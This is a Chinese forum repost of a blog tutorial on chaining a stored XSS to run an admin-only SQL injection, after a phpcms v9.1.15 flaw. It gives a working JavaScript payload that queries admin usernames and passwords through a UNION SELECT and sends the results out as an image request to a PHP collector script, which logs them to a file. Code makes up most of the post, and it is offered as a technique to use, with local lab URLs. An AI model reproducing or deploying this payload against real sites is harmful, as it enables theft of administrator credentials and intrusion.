TA的每日心情 | 无聊 2020-8-3 22:39 |
---|
签到天数: 84 天 [LV.6]常住居民II
|
转自LN博客,代发
昨天看见phpcms v9.1.15爆的xss和无权限的sql注入,于是就想测试下利用xss执行sql注入,虽然爆的这个phpcms漏洞还有很多其他的用法!但是,这个注入我没有找到phpcms v9.1.15测试,其他版本都没有测试成功!
于是乎我只有假想下一个极端环境:
1.前台有且只有一个xss漏洞(不能获取管理员cookie)
2.后台有且只有一个sql注入漏洞(注入漏洞文件只有管理员可以访问)
3.注入获得管理员密码可解密
4.除以上无其他任何漏洞(包括后台getwebshell)
其实我就是想说,我们只可以利用这个xss执行注入!
模拟注入漏洞代码
sqli.php
[code=PHP]database:test
table:test、admin
column:test.id、test.realname
admin.id、admin.username、admin.password [/code]
get.php(获取的注入后数据截取)
[code=PHP]<?php
$file = fopen("data.txt","a");
fwrite($file,$_GET['get']);
fclose($file);
?>
[/code]
xsssqli.js(payload)
[code=PHP]view sourceprint?01 function addLoadEvent(func)//窗口打开加载多个函数
{
var oldfunc=window.onload; //页面打开是加载方法
if(typeof(window.onload)!="function")
{
window.onload=func;
}
else
{
window.onload=function()
{
oldfunc();
func();
}
}
}
function get_xsssqli()
{
var url = "http://127.0.0.1/xss/sqli.php?xss=1%20and%201=2%20union%20select%20username,password%20from%20admin";
var ajax = null;
if(window.XMLHttpRequest)
{
ajax = new XMLHttpRequest();
}
else if(window.ActiveXObject)
{
ajax = new ActiveXObject("Microsoft.XMLHTTP");//ie6和一下老版本
}
else
{
return;
}
ajax.open("GET", url, true);
ajax.send(null);
ajax.onreadystatechange = function()
{
if(ajax.readyState == 4 && ajax.status == 200)
{
var img = document.createElement("img");
img.src = "http://127.0.0.1/xss/get.php?get="+ajax.responseText;
document.body.appendChild(img);
}
}
}
addLoadEvent(get_xsssqli);
[/code]
模拟xss漏洞
[code=PHP]
view sourceprint?1 <html>
<head>
<title>use xss to sqli</title>
</head>
<body>
<script src=http://127.0.0.1/xss/get.js ></script>
</body>
</html>[/code]
最后成功得到数据:
当然你也可以写个正则截获指定数据!
转载请指明出处:L.N.博客 http://lanu.sinaapp.com/htmlcssjisxml/112.html
|
|